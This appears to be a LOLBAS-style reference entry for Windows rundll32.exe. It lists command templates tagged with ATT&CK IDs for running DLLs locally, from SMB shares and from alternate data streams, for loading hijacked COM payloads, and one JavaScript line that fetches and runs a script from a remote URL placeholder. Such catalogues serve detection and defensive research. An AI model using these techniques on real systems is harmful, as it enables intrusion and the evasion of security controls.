Rundll32.exe

type: OSBinaries
Used by Windows to execute dll files

Full path

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Commands

  1. ExecuteUser T1218.011

    Execute DLL file

    rundll32.exe {PATH},EntryPoint

    First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL

  2. ExecuteUser T1218.011

    Execute DLL from SMB share.

    rundll32.exe {PATH_SMB:.dll},EntryPoint

    Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLLExecute: Remote

  3. ExecuteUser T1218.011

    Execute code from Internet

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

    Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: JScript

  4. ADSUser T1564.004

    Execute code from alternate data stream

    rundll32 "{PATH}:ADSDLL.dll",DllMain

    Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL

  5. ExecuteUser T1218.011

    Execute a DLL/EXE COM server payload or ScriptletURL code.

    rundll32.exe -sta {CLSID}

    Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

    os: Windows 10 (and likely previous versions), Windows 11

    Execute: COM

Detection

Resources

acknowledgement: Casey Smith @subtee, Oddvar Moe @oddvarmoe, Jimmy @bohops, Sailay @404death, Martin Ingesen @Mrtn9